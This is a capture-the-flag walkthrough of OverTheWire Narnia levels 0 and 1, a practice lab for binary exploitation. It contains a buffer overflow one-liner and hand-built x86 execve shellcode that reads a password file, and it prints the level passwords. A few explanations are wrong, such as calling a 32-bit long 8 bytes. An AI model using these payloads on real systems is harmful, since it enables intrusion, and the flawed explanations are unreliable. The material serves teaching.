OverTheWire Narnia

OverTheWire Narnia


Narnia is a series of wargames designed to teach basic binary exploitation. Most of the bugs in the game are easy to see or are common exploits that are easily researchable. We are also given the source code for each binary to spot the vulnerability and exploit it.


All Narnia Levels: Level 0 to 1 Level 1 to 2 Level 2 to 3 Level 3 to 4 Level 4 to 5 Level 5 to 6 Level 6 to 7 Level 7 to 8 Level 8 to 9

Level 0 to Level 1


To get started, we ssh into narnia0 at narnia.labs.overthewire.org at port 2226. From there, in the /narnia folder, we see all the binaries and their source code. The only one we can access is narnia0 and narnia0.c.


Looking at the C file first, we see it tell us to change val from 0x41414141 to 0xdeadbeef to get access to /etc/narnia_pass/narnia1. The only input have in the program is buf, a char array of length 20.




We can see the vulnerability in the code. Namely the scanf function. We are scanning a line into buf of length 24, but buf is only of length 20. This means the last 4 chars scanned will overwrite memory in the stack.


We can verify this by looking at the dump of the binary file.




We can see at where var is pushed onto the stack at -0x8(%ebp)


8048562: c7 45 f8 41 41 41 41 movl $0x41414141,-0x8(%ebp)

We can also find where the beginning of buf is located as one of the aguments loaded into the scanf function:


8048583: 8d 45 e4 lea -0x1c(%ebp),%eax

This verifies that the length of buf is 20 as 0x1c - 0x8 = 0x14 or 20 in base 10, which is what we expected.


What we need to do is known as a buffer overflow exploit. This is when we write more data than expected into a buffer and overwrite specific areas of memory. We know that buf is 20 chars long, and that we are reading 24 chars. We also know that var contains 8 bytes, as it is a long type. So to finish the exploit, we can enter any 20 characters, and then write the bytes that make 0xdeadbeef in reverse order, as the stack grows downward. Another issue we can see from the source code is that we will call /bin/sh and it will exit immediately. To keep the terminal open, we also need to call cat with no arguments and it will pipe output to the terminal. The full command looks like this:


( echo -e "AAAAAAAAAAAAAAAAAAAA\xEF\xBE\xAD\xDE" ; cat ) | ./narnia0



So we have the password for level 1, efeidiedae



Level 1 to Level 2


For this level, we start by taking a look at narnia1.c




We can see that whatever is in the environment variable EGG, the first value will overwrite RET, This gives us the ability to control EIP, or the instruction pointer. When RET is read off the stack and placed into EIP, the instruction at the address will be executed. So what we need to do is create injectable shellcode and store it in the environment variable EGG, then once RET is read off the stack, the next instruction will be at the beginning of our shellcode and will start to execute.


Now for creating the shellcode. We first have to decide what is the exact thing we want the shellcode to do. For this challenge, we want to execute /bin/cat /etc/narnia_pass/narnia2 in some way.


The first step in creating shellcode is to create a simple C program that does what you want to do, analyze the instructions, and extract the opcodes that make the program run. The simplest way to create a new process in C is by using execve, this executes a program in place of the existing one. We can see how to execute /bin/cat /home/john/file1, which is a file containing Lorem Ipsum text, using execve.




The execve call has a few arguments of interest


int execve(const char *filename, char *const argv[], char *const envp[]);

We execute the program pointed to by filename, which must be a binary executable or executable script. Second, argv is the array of argument strings passed to the new program, including the program name itsself. And lastly, the argument envp is an array containing environment variables. This is not of interest to us now, so we leave that value as NULL.


To get started on the shellcode, we have to figure out how execve is called in assembly language. This is largely taken from Chapter 3 in "The Shellcoder's Handbook: Discovering and Exploiting Security Holes, Second Edition"


The first instruction of importance is loading the address of the /bin/cat string into the ebx register. Next we load the address of the argument array into the ecx register. Then, we place the address of envp into the edx register, which in our case is null. Lastly, we have to load the syscall number for execve into eax, which is 11. The last step is to switch to kernel mode, executing the syscall in eax. We do this by using the int 0x80 instruction.


What follows is the assembly code performing these instructions.


section .text

global _start

_start:

xor eax, eax

cdq

mov al, 0xb

push dword "/cat"

push dword "/bin"

mov ebx,esp

push edx

push dword "nia2"

push dword "/nar"

push dword "pass"

push dword "nia_"

push dword "/nar"

push dword "/etc"

mov ecx,esp

push edx

mov edx,esp

push ecx

push ebx

mov ecx,esp

int 0x80


We can save this as catFile.nasm. Then we have to assemble the file and extract the opcodes to create the finalized shellcode.


To assemble, we are going to use nasm.


nasm -o catFile -f elf32 -O0 catFile.nasm

This gives us the assembled version of our nasm file in catFile. Next to get the opcodes, we dump the .text area of the elf binary file we created using objcopy, and then use od to read the dump in hex format.


objcopy -O binary -j .text catFile catFileHex
od -An -t x1 catFileHex

All together, these commands give us the opcodes we need for the injectable shellcode.




Finally, we set the environment variable EGG to be a string containing these values and run the executable.


(export EGG=`perl -e 'print("\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x6e\x69\x61\x32\x68\x2f\x6e\x61\x72\x68\x70\x61\x73\x73\x68\x6e\x69\x61\x5f\x68\x2f\x6e\x61\x72\x68\x2f\x65\x74\x63\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80")'` ; ./narnia1)



So we have th password to level 2 is nairiepecu